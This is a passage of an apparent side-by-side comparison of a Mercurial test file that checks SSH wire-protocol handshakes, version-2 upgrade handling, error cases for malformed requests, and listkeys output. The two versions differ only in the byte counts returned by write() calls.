993 o> readline() -> 44:
993 o> readline() -> 44:
994 o> upgraded this-is-some-token exp-ssh-v2-0001\n
994 o> upgraded this-is-some-token exp-ssh-v2-0001\n
995 o> readline() -> 4:
995 o> readline() -> 4:
996 o> 383\n
996 o> 383\n
997 o> readline() -> 384:
997 o> readline() -> 384:
998 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
998 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
999
999
1000 $ cd ..
1000 $ cd ..
1001
1001
1002 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
1002 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
1003 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1003 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1004 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1004 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1005 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1005 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1006 devel-peer-request: hello
1006 devel-peer-request: hello
1007 sending hello command
1007 sending hello command
1008 devel-peer-request: between
1008 devel-peer-request: between
1009 devel-peer-request: pairs: 81 bytes
1009 devel-peer-request: pairs: 81 bytes
1010 sending between command
1010 sending between command
1011 protocol upgraded to exp-ssh-v2-0001
1011 protocol upgraded to exp-ssh-v2-0001
1012 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1012 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1013 url: ssh://user@dummy/server
1013 url: ssh://user@dummy/server
1014 local: no
1014 local: no
1015 pushable: yes
1015 pushable: yes
1016
1016
1017 Verify the peer has capabilities
1017 Verify the peer has capabilities
1018
1018
1019 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server
1019 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server
1020 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1020 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1021 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1021 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1022 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1022 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1023 devel-peer-request: hello
1023 devel-peer-request: hello
1024 sending hello command
1024 sending hello command
1025 devel-peer-request: between
1025 devel-peer-request: between
1026 devel-peer-request: pairs: 81 bytes
1026 devel-peer-request: pairs: 81 bytes
1027 sending between command
1027 sending between command
1028 protocol upgraded to exp-ssh-v2-0001
1028 protocol upgraded to exp-ssh-v2-0001
1029 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1029 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1030 Main capabilities:
1030 Main capabilities:
1031 batch
1031 batch
1032 branchmap
1032 branchmap
1033 $USUAL_BUNDLE2_CAPS_SERVER$
1033 $USUAL_BUNDLE2_CAPS_SERVER$
1034 changegroupsubset
1034 changegroupsubset
1035 getbundle
1035 getbundle
1036 known
1036 known
1037 lookup
1037 lookup
1038 pushkey
1038 pushkey
1039 streamreqs=generaldelta,revlogv1
1039 streamreqs=generaldelta,revlogv1
1040 unbundle=HG10GZ,HG10BZ,HG10UN
1040 unbundle=HG10GZ,HG10BZ,HG10UN
1041 unbundlehash
1041 unbundlehash
1042 Bundle2 capabilities:
1042 Bundle2 capabilities:
1043 HG20
1043 HG20
1044 bookmarks
1044 bookmarks
1045 changegroup
1045 changegroup
1046 01
1046 01
1047 02
1047 02
1048 digests
1048 digests
1049 md5
1049 md5
1050 sha1
1050 sha1
1051 sha512
1051 sha512
1052 error
1052 error
1053 abort
1053 abort
1054 unsupportedcontent
1054 unsupportedcontent
1055 pushraced
1055 pushraced
1056 pushkey
1056 pushkey
1057 hgtagsfnodes
1057 hgtagsfnodes
1058 listkeys
1058 listkeys
1059 phases
1059 phases
1060 heads
1060 heads
1061 pushkey
1061 pushkey
1062 remote-changegroup
1062 remote-changegroup
1063 http
1063 http
1064 https
1064 https
1065
1065
1066 Command after upgrade to version 2 is processed
1066 Command after upgrade to version 2 is processed
1067
1067
1068 $ cd server
1068 $ cd server
1069
1069
1070 $ hg debugwireproto --localssh --peer raw << EOF
1070 $ hg debugwireproto --localssh --peer raw << EOF
1071 > raw
1071 > raw
1072 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1072 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1073 > hello\n
1073 > hello\n
1074 > between\n
1074 > between\n
1075 > pairs 81\n
1075 > pairs 81\n
1076 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1076 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1077 > readline
1077 > readline
1078 > readline
1078 > readline
1079 > readline
1079 > readline
1080 > raw
1080 > raw
1081 > hello\n
1081 > hello\n
1082 > readline
1082 > readline
1083 > readline
1083 > readline
1084 > EOF
1084 > EOF
1085 using raw connection to peer
1085 using raw connection to peer
1086 i> write(153) -> None:
1086 i> write(153) -> 153:
1087 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1087 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1088 i> hello\n
1088 i> hello\n
1089 i> between\n
1089 i> between\n
1090 i> pairs 81\n
1090 i> pairs 81\n
1091 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1091 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1092 o> readline() -> 44:
1092 o> readline() -> 44:
1093 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1093 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1094 o> readline() -> 4:
1094 o> readline() -> 4:
1095 o> 383\n
1095 o> 383\n
1096 o> readline() -> 384:
1096 o> readline() -> 384:
1097 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1097 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1098 i> write(6) -> None:
1098 i> write(6) -> 6:
1099 i> hello\n
1099 i> hello\n
1100 o> readline() -> 4:
1100 o> readline() -> 4:
1101 o> 366\n
1101 o> 366\n
1102 o> readline() -> 366:
1102 o> readline() -> 366:
1103 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1103 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1104
1104
1105 Multiple upgrades is not allowed
1105 Multiple upgrades is not allowed
1106
1106
1107 $ hg debugwireproto --localssh --peer raw << EOF
1107 $ hg debugwireproto --localssh --peer raw << EOF
1108 > raw
1108 > raw
1109 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1109 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1110 > hello\n
1110 > hello\n
1111 > between\n
1111 > between\n
1112 > pairs 81\n
1112 > pairs 81\n
1113 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1113 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1114 > readline
1114 > readline
1115 > readline
1115 > readline
1116 > readline
1116 > readline
1117 > raw
1117 > raw
1118 > upgrade another-token proto=irrelevant\n
1118 > upgrade another-token proto=irrelevant\n
1119 > hello\n
1119 > hello\n
1120 > readline
1120 > readline
1121 > readavailable
1121 > readavailable
1122 > EOF
1122 > EOF
1123 using raw connection to peer
1123 using raw connection to peer
1124 i> write(153) -> None:
1124 i> write(153) -> 153:
1125 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1125 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1126 i> hello\n
1126 i> hello\n
1127 i> between\n
1127 i> between\n
1128 i> pairs 81\n
1128 i> pairs 81\n
1129 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1129 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1130 o> readline() -> 44:
1130 o> readline() -> 44:
1131 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1131 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1132 o> readline() -> 4:
1132 o> readline() -> 4:
1133 o> 383\n
1133 o> 383\n
1134 o> readline() -> 384:
1134 o> readline() -> 384:
1135 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1135 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1136 i> write(45) -> None:
1136 i> write(45) -> 45:
1137 i> upgrade another-token proto=irrelevant\n
1137 i> upgrade another-token proto=irrelevant\n
1138 i> hello\n
1138 i> hello\n
1139 o> readline() -> 1:
1139 o> readline() -> 1:
1140 o> \n
1140 o> \n
1141 e> read(-1) -> 42:
1141 e> read(-1) -> 42:
1142 e> cannot upgrade protocols multiple times\n
1142 e> cannot upgrade protocols multiple times\n
1143 e> -\n
1143 e> -\n
1144
1144
1145 Malformed upgrade request line (not exactly 3 space delimited tokens)
1145 Malformed upgrade request line (not exactly 3 space delimited tokens)
1146
1146
1147 $ hg debugwireproto --localssh --peer raw << EOF
1147 $ hg debugwireproto --localssh --peer raw << EOF
1148 > raw
1148 > raw
1149 > upgrade\n
1149 > upgrade\n
1150 > readline
1150 > readline
1151 > EOF
1151 > EOF
1152 using raw connection to peer
1152 using raw connection to peer
1153 i> write(8) -> None:
1153 i> write(8) -> 8:
1154 i> upgrade\n
1154 i> upgrade\n
1155 o> readline() -> 2:
1155 o> readline() -> 2:
1156 o> 0\n
1156 o> 0\n
1157
1157
1158 $ hg debugwireproto --localssh --peer raw << EOF
1158 $ hg debugwireproto --localssh --peer raw << EOF
1159 > raw
1159 > raw
1160 > upgrade token\n
1160 > upgrade token\n
1161 > readline
1161 > readline
1162 > EOF
1162 > EOF
1163 using raw connection to peer
1163 using raw connection to peer
1164 i> write(14) -> None:
1164 i> write(14) -> 14:
1165 i> upgrade token\n
1165 i> upgrade token\n
1166 o> readline() -> 2:
1166 o> readline() -> 2:
1167 o> 0\n
1167 o> 0\n
1168
1168
1169 $ hg debugwireproto --localssh --peer raw << EOF
1169 $ hg debugwireproto --localssh --peer raw << EOF
1170 > raw
1170 > raw
1171 > upgrade token foo=bar extra-token\n
1171 > upgrade token foo=bar extra-token\n
1172 > readline
1172 > readline
1173 > EOF
1173 > EOF
1174 using raw connection to peer
1174 using raw connection to peer
1175 i> write(34) -> None:
1175 i> write(34) -> 34:
1176 i> upgrade token foo=bar extra-token\n
1176 i> upgrade token foo=bar extra-token\n
1177 o> readline() -> 2:
1177 o> readline() -> 2:
1178 o> 0\n
1178 o> 0\n
1179
1179
1180 Upgrade request to unsupported protocol is ignored
1180 Upgrade request to unsupported protocol is ignored
1181
1181
1182 $ hg debugwireproto --localssh --peer raw << EOF
1182 $ hg debugwireproto --localssh --peer raw << EOF
1183 > raw
1183 > raw
1184 > upgrade this-is-some-token proto=unknown1,unknown2\n
1184 > upgrade this-is-some-token proto=unknown1,unknown2\n
1185 > readline
1185 > readline
1186 > raw
1186 > raw
1187 > hello\n
1187 > hello\n
1188 > readline
1188 > readline
1189 > readline
1189 > readline
1190 > raw
1190 > raw
1191 > between\n
1191 > between\n
1192 > pairs 81\n
1192 > pairs 81\n
1193 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1193 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1194 > readline
1194 > readline
1195 > readline
1195 > readline
1196 > EOF
1196 > EOF
1197 using raw connection to peer
1197 using raw connection to peer
1198 i> write(51) -> None:
1198 i> write(51) -> 51:
1199 i> upgrade this-is-some-token proto=unknown1,unknown2\n
1199 i> upgrade this-is-some-token proto=unknown1,unknown2\n
1200 o> readline() -> 2:
1200 o> readline() -> 2:
1201 o> 0\n
1201 o> 0\n
1202 i> write(6) -> None:
1202 i> write(6) -> 6:
1203 i> hello\n
1203 i> hello\n
1204 o> readline() -> 4:
1204 o> readline() -> 4:
1205 o> 384\n
1205 o> 384\n
1206 o> readline() -> 384:
1206 o> readline() -> 384:
1207 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1207 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1208 i> write(98) -> None:
1208 i> write(98) -> 98:
1209 i> between\n
1209 i> between\n
1210 i> pairs 81\n
1210 i> pairs 81\n
1211 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1211 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1212 o> readline() -> 2:
1212 o> readline() -> 2:
1213 o> 1\n
1213 o> 1\n
1214 o> readline() -> 1:
1214 o> readline() -> 1:
1215 o> \n
1215 o> \n
1216
1216
1217 Upgrade request must be followed by hello + between
1217 Upgrade request must be followed by hello + between
1218
1218
1219 $ hg debugwireproto --localssh --peer raw << EOF
1219 $ hg debugwireproto --localssh --peer raw << EOF
1220 > raw
1220 > raw
1221 > upgrade token proto=exp-ssh-v2-0001\n
1221 > upgrade token proto=exp-ssh-v2-0001\n
1222 > invalid\n
1222 > invalid\n
1223 > readline
1223 > readline
1224 > readavailable
1224 > readavailable
1225 > EOF
1225 > EOF
1226 using raw connection to peer
1226 using raw connection to peer
1227 i> write(44) -> None:
1227 i> write(44) -> 44:
1228 i> upgrade token proto=exp-ssh-v2-0001\n
1228 i> upgrade token proto=exp-ssh-v2-0001\n
1229 i> invalid\n
1229 i> invalid\n
1230 o> readline() -> 1:
1230 o> readline() -> 1:
1231 o> \n
1231 o> \n
1232 e> read(-1) -> 46:
1232 e> read(-1) -> 46:
1233 e> malformed handshake protocol: missing hello\n
1233 e> malformed handshake protocol: missing hello\n
1234 e> -\n
1234 e> -\n
1235
1235
1236 $ hg debugwireproto --localssh --peer raw << EOF
1236 $ hg debugwireproto --localssh --peer raw << EOF
1237 > raw
1237 > raw
1238 > upgrade token proto=exp-ssh-v2-0001\n
1238 > upgrade token proto=exp-ssh-v2-0001\n
1239 > hello\n
1239 > hello\n
1240 > invalid\n
1240 > invalid\n
1241 > readline
1241 > readline
1242 > readavailable
1242 > readavailable
1243 > EOF
1243 > EOF
1244 using raw connection to peer
1244 using raw connection to peer
1245 i> write(50) -> None:
1245 i> write(50) -> 50:
1246 i> upgrade token proto=exp-ssh-v2-0001\n
1246 i> upgrade token proto=exp-ssh-v2-0001\n
1247 i> hello\n
1247 i> hello\n
1248 i> invalid\n
1248 i> invalid\n
1249 o> readline() -> 1:
1249 o> readline() -> 1:
1250 o> \n
1250 o> \n
1251 e> read(-1) -> 48:
1251 e> read(-1) -> 48:
1252 e> malformed handshake protocol: missing between\n
1252 e> malformed handshake protocol: missing between\n
1253 e> -\n
1253 e> -\n
1254
1254
1255 $ hg debugwireproto --localssh --peer raw << EOF
1255 $ hg debugwireproto --localssh --peer raw << EOF
1256 > raw
1256 > raw
1257 > upgrade token proto=exp-ssh-v2-0001\n
1257 > upgrade token proto=exp-ssh-v2-0001\n
1258 > hello\n
1258 > hello\n
1259 > between\n
1259 > between\n
1260 > invalid\n
1260 > invalid\n
1261 > readline
1261 > readline
1262 > readavailable
1262 > readavailable
1263 > EOF
1263 > EOF
1264 using raw connection to peer
1264 using raw connection to peer
1265 i> write(58) -> None:
1265 i> write(58) -> 58:
1266 i> upgrade token proto=exp-ssh-v2-0001\n
1266 i> upgrade token proto=exp-ssh-v2-0001\n
1267 i> hello\n
1267 i> hello\n
1268 i> between\n
1268 i> between\n
1269 i> invalid\n
1269 i> invalid\n
1270 o> readline() -> 1:
1270 o> readline() -> 1:
1271 o> \n
1271 o> \n
1272 e> read(-1) -> 49:
1272 e> read(-1) -> 49:
1273 e> malformed handshake protocol: missing pairs 81\n
1273 e> malformed handshake protocol: missing pairs 81\n
1274 e> -\n
1274 e> -\n
1275
1275
1276 Legacy commands are not exposed to version 2 of protocol
1276 Legacy commands are not exposed to version 2 of protocol
1277
1277
1278 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1278 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1279 > command branches
1279 > command branches
1280 > nodes 0000000000000000000000000000000000000000
1280 > nodes 0000000000000000000000000000000000000000
1281 > EOF
1281 > EOF
1282 creating ssh peer from handshake results
1282 creating ssh peer from handshake results
1283 sending branches command
1283 sending branches command
1284 response:
1284 response:
1285
1285
1286 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1286 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1287 > command changegroup
1287 > command changegroup
1288 > roots 0000000000000000000000000000000000000000
1288 > roots 0000000000000000000000000000000000000000
1289 > EOF
1289 > EOF
1290 creating ssh peer from handshake results
1290 creating ssh peer from handshake results
1291 sending changegroup command
1291 sending changegroup command
1292 response:
1292 response:
1293
1293
1294 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1294 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1295 > command changegroupsubset
1295 > command changegroupsubset
1296 > bases 0000000000000000000000000000000000000000
1296 > bases 0000000000000000000000000000000000000000
1297 > heads 0000000000000000000000000000000000000000
1297 > heads 0000000000000000000000000000000000000000
1298 > EOF
1298 > EOF
1299 creating ssh peer from handshake results
1299 creating ssh peer from handshake results
1300 sending changegroupsubset command
1300 sending changegroupsubset command
1301 response:
1301 response:
1302
1302
1303 $ cd ..
1303 $ cd ..
1304
1304
1305 Test listkeys for listing namespaces
1305 Test listkeys for listing namespaces
1306
1306
1307 $ hg init empty
1307 $ hg init empty
1308 $ cd empty
1308 $ cd empty
1309 $ debugwireproto << EOF
1309 $ debugwireproto << EOF
1310 > command listkeys
1310 > command listkeys
1311 > namespace namespaces
1311 > namespace namespaces
1312 > EOF
1312 > EOF
1313 testing ssh1
1313 testing ssh1
1314 creating ssh peer from handshake results
1314 creating ssh peer from handshake results
1315 i> write(104) -> None:
1315 i> write(104) -> 104:
1316 i> hello\n
1316 i> hello\n
1317 i> between\n
1317 i> between\n
1318 i> pairs 81\n
1318 i> pairs 81\n
1319 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1319 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1320 i> flush() -> None
1320 i> flush() -> None
1321 o> readline() -> 4:
1321 o> readline() -> 4:
1322 o> 384\n
1322 o> 384\n
1323 o> readline() -> 384:
1323 o> readline() -> 384:
1324 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1324 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1325 o> readline() -> 2:
1325 o> readline() -> 2:
1326 o> 1\n
1326 o> 1\n
1327 o> readline() -> 1:
1327 o> readline() -> 1:
1328 o> \n
1328 o> \n
1329 sending listkeys command
1329 sending listkeys command
1330 i> write(9) -> None:
1330 i> write(9) -> 9:
1331 i> listkeys\n
1331 i> listkeys\n
1332 i> write(13) -> None:
1332 i> write(13) -> 13:
1333 i> namespace 10\n
1333 i> namespace 10\n
1334 i> write(10) -> None: namespaces
1334 i> write(10) -> 10: namespaces
1335 i> flush() -> None
1335 i> flush() -> None
1336 o> bufferedreadline() -> 3:
1336 o> bufferedreadline() -> 3:
1337 o> 30\n
1337 o> 30\n
1338 o> bufferedread(30) -> 30:
1338 o> bufferedread(30) -> 30:
1339 o> bookmarks \n
1339 o> bookmarks \n
1340 o> namespaces \n
1340 o> namespaces \n
1341 o> phases
1341 o> phases
1342 response: bookmarks \nnamespaces \nphases
1342 response: bookmarks \nnamespaces \nphases
1343
1343
1344 testing ssh2
1344 testing ssh2
1345 creating ssh peer from handshake results
1345 creating ssh peer from handshake results
1346 i> write(171) -> None:
1346 i> write(171) -> 171:
1347 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1347 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1348 i> hello\n
1348 i> hello\n
1349 i> between\n
1349 i> between\n
1350 i> pairs 81\n
1350 i> pairs 81\n
1351 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1351 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1352 i> flush() -> None
1352 i> flush() -> None
1353 o> readline() -> 62:
1353 o> readline() -> 62:
1354 o> upgraded * exp-ssh-v2-0001\n (glob)
1354 o> upgraded * exp-ssh-v2-0001\n (glob)
1355 o> readline() -> 4:
1355 o> readline() -> 4:
1356 o> 383\n
1356 o> 383\n
1357 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1357 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1358 o> read(1) -> 1:
1358 o> read(1) -> 1:
1359 o> \n
1359 o> \n
1360 sending listkeys command
1360 sending listkeys command
1361 i> write(9) -> None:
1361 i> write(9) -> 9:
1362 i> listkeys\n
1362 i> listkeys\n
1363 i> write(13) -> None:
1363 i> write(13) -> 13:
1364 i> namespace 10\n
1364 i> namespace 10\n
1365 i> write(10) -> None: namespaces
1365 i> write(10) -> 10: namespaces
1366 i> flush() -> None
1366 i> flush() -> None
1367 o> bufferedreadline() -> 3:
1367 o> bufferedreadline() -> 3:
1368 o> 30\n
1368 o> 30\n
1369 o> bufferedread(30) -> 30:
1369 o> bufferedread(30) -> 30:
1370 o> bookmarks \n
1370 o> bookmarks \n
1371 o> namespaces \n
1371 o> namespaces \n
1372 o> phases
1372 o> phases
1373 response: bookmarks \nnamespaces \nphases
1373 response: bookmarks \nnamespaces \nphases
1374
1374
1375 $ cd ..
1375 $ cd ..
1376
1376
1377 Test listkeys for bookmarks
1377 Test listkeys for bookmarks
1378
1378
1379 $ hg init bookmarkrepo
1379 $ hg init bookmarkrepo
1380 $ cd bookmarkrepo
1380 $ cd bookmarkrepo
1381 $ echo 0 > foo
1381 $ echo 0 > foo
1382 $ hg add foo
1382 $ hg add foo
1383 $ hg -q commit -m initial
1383 $ hg -q commit -m initial
1384 $ echo 1 > foo
1384 $ echo 1 > foo
1385 $ hg commit -m second
1385 $ hg commit -m second
1386
1386
1387 With no bookmarks set
1387 With no bookmarks set
1388
1388
1389 $ debugwireproto << EOF
1389 $ debugwireproto << EOF
1390 > command listkeys
1390 > command listkeys
1391 > namespace bookmarks
1391 > namespace bookmarks
1392 > EOF
1392 > EOF
1393 testing ssh1
1393 testing ssh1
1394 creating ssh peer from handshake results
1394 creating ssh peer from handshake results
1395 i> write(104) -> None:
1395 i> write(104) -> 104:
1396 i> hello\n
1396 i> hello\n
1397 i> between\n
1397 i> between\n
1398 i> pairs 81\n
1398 i> pairs 81\n
1399 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1399 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1400 i> flush() -> None
1400 i> flush() -> None
1401 o> readline() -> 4:
1401 o> readline() -> 4:
1402 o> 384\n
1402 o> 384\n
1403 o> readline() -> 384:
1403 o> readline() -> 384:
1404 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1404 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1405 o> readline() -> 2:
1405 o> readline() -> 2:
1406 o> 1\n
1406 o> 1\n
1407 o> readline() -> 1:
1407 o> readline() -> 1:
1408 o> \n
1408 o> \n
1409 sending listkeys command
1409 sending listkeys command
1410 i> write(9) -> None:
1410 i> write(9) -> 9:
1411 i> listkeys\n
1411 i> listkeys\n
1412 i> write(12) -> None:
1412 i> write(12) -> 12:
1413 i> namespace 9\n
1413 i> namespace 9\n
1414 i> write(9) -> None: bookmarks
1414 i> write(9) -> 9: bookmarks
1415 i> flush() -> None
1415 i> flush() -> None
1416 o> bufferedreadline() -> 2:
1416 o> bufferedreadline() -> 2:
1417 o> 0\n
1417 o> 0\n
1418 response:
1418 response:
1419
1419
1420 testing ssh2
1420 testing ssh2
1421 creating ssh peer from handshake results
1421 creating ssh peer from handshake results
1422 i> write(171) -> None:
1422 i> write(171) -> 171:
1423 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1423 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1424 i> hello\n
1424 i> hello\n
1425 i> between\n
1425 i> between\n
1426 i> pairs 81\n
1426 i> pairs 81\n
1427 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1427 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1428 i> flush() -> None
1428 i> flush() -> None
1429 o> readline() -> 62:
1429 o> readline() -> 62:
1430 o> upgraded * exp-ssh-v2-0001\n (glob)
1430 o> upgraded * exp-ssh-v2-0001\n (glob)
1431 o> readline() -> 4:
1431 o> readline() -> 4:
1432 o> 383\n
1432 o> 383\n
1433 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1433 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1434 o> read(1) -> 1:
1434 o> read(1) -> 1:
1435 o> \n
1435 o> \n
1436 sending listkeys command
1436 sending listkeys command
1437 i> write(9) -> None:
1437 i> write(9) -> 9:
1438 i> listkeys\n
1438 i> listkeys\n
1439 i> write(12) -> None:
1439 i> write(12) -> 12:
1440 i> namespace 9\n
1440 i> namespace 9\n
1441 i> write(9) -> None: bookmarks
1441 i> write(9) -> 9: bookmarks
1442 i> flush() -> None
1442 i> flush() -> None
1443 o> bufferedreadline() -> 2:
1443 o> bufferedreadline() -> 2:
1444 o> 0\n
1444 o> 0\n
1445 response:
1445 response:
1446
1446
1447 With a single bookmark set
1447 With a single bookmark set
1448
1448
1449 $ hg book -r 0 bookA
1449 $ hg book -r 0 bookA
1450 $ debugwireproto << EOF
1450 $ debugwireproto << EOF
1451 > command listkeys
1451 > command listkeys
1452 > namespace bookmarks
1452 > namespace bookmarks
1453 > EOF
1453 > EOF
1454 testing ssh1
1454 testing ssh1
1455 creating ssh peer from handshake results
1455 creating ssh peer from handshake results
1456 i> write(104) -> None:
1456 i> write(104) -> 104:
1457 i> hello\n
1457 i> hello\n
1458 i> between\n
1458 i> between\n
1459 i> pairs 81\n
1459 i> pairs 81\n
1460 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1460 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1461 i> flush() -> None
1461 i> flush() -> None
1462 o> readline() -> 4:
1462 o> readline() -> 4:
1463 o> 384\n
1463 o> 384\n
1464 o> readline() -> 384:
1464 o> readline() -> 384:
